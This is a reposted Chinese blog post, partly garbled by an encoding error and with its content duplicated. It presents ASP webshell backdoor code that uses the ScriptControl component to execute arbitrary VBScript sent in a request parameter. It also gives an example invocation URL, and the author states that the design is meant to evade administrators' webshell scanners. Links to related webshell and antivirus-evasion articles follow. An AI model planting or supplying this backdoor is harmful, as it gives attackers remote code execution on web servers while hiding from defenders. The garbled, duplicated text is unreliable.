一個(gè)較新的ASP后門服務(wù)端實(shí)現(xiàn)代碼
更新時(shí)間：2010年10月11日 01:17:53 作者：
一直很奇怪，為什么客戶端里面不是eval，就是execute，不管我藏哪里，管理員用個(gè)什么XX webshell掃描器，就能踢我屁股了。
今天重新研究了下VB里面的ScriptControl組件，發(fā)現(xiàn)asp里面也能調(diào)用。研究了下方法，后來(lái)和lcx討論了下。得到了如下代碼，在此感謝前輩的指點(diǎn)，呵呵。
代碼很簡(jiǎn)單，我就不多做解釋了，以免有人罵我裝。
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '參數(shù)SubCode作為過(guò)程代碼
o.run "e",Server,Response,Request,Application,Session,Error '參數(shù)名e 調(diào)用之，同時(shí)壓入6個(gè)基對(duì)象作為參數(shù)
'調(diào)用示例：
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>
注意，雖然能用了，但是實(shí)驗(yàn)發(fā)現(xiàn)只有l(wèi)ake2客戶端能用。希望有牛人出來(lái)改得通用一點(diǎn)。呵呵。自己寫個(gè)客戶端專用也不錯(cuò)。
轉(zhuǎn)自：http://hi.baidu.com/ylbhz/blog
代碼很簡(jiǎn)單，我就不多做解釋了，以免有人罵我裝。
復(fù)制代碼 代碼如下:
<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '參數(shù)SubCode作為過(guò)程代碼
o.run "e",Server,Response,Request,Application,Session,Error '參數(shù)名e 調(diào)用之，同時(shí)壓入6個(gè)基對(duì)象作為參數(shù)
'調(diào)用示例：
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>
注意，雖然能用了，但是實(shí)驗(yàn)發(fā)現(xiàn)只有l(wèi)ake2客戶端能用。希望有牛人出來(lái)改得通用一點(diǎn)。呵呵。自己寫個(gè)客戶端專用也不錯(cuò)。
轉(zhuǎn)自：http://hi.baidu.com/ylbhz/blog
相關(guān)文章
一句話木馬插入到asp文件中 :這個(gè)是當(dāng)然,一句話木馬本身就是asp文件。能夠用IE訪問(wèn):能訪問(wèn),我們才可以提交數(shù)據(jù)..只要能訪問(wèn)的都可以2008-07-07
一個(gè)查ASP木馬的小東東2006-07-07
XSS測(cè)試語(yǔ)句大全...2006-07-07
asp防注入效果代碼2008-06-06
利用Microsoft.XMLHTTP控件發(fā)送COOKIE
利用Microsoft.XMLHTTP控件發(fā)送COOKIE...2006-09-09
一句話 asp木馬加密版 徹底突破殺毒軟件...2007-11-11
有時(shí)候通過(guò)程序上傳木馬，一般都是偽裝成圖片，下面是asp下檢測(cè)圖片木馬的代碼，需要的朋友可以參考下2015-09-09
asp javascript在線管理...2006-09-09
兩個(gè)小函數(shù)讓你的ASP程序?qū)QL注入免疫！
兩個(gè)小函數(shù)讓你的ASP程序?qū)QL注入免疫！...2006-09-09
這段代碼可以隱藏在asp文件中，大家可以搜索一些特點(diǎn)的關(guān)鍵字，查看文件的修改日期，看看是不是有如下的代碼。2010-08-08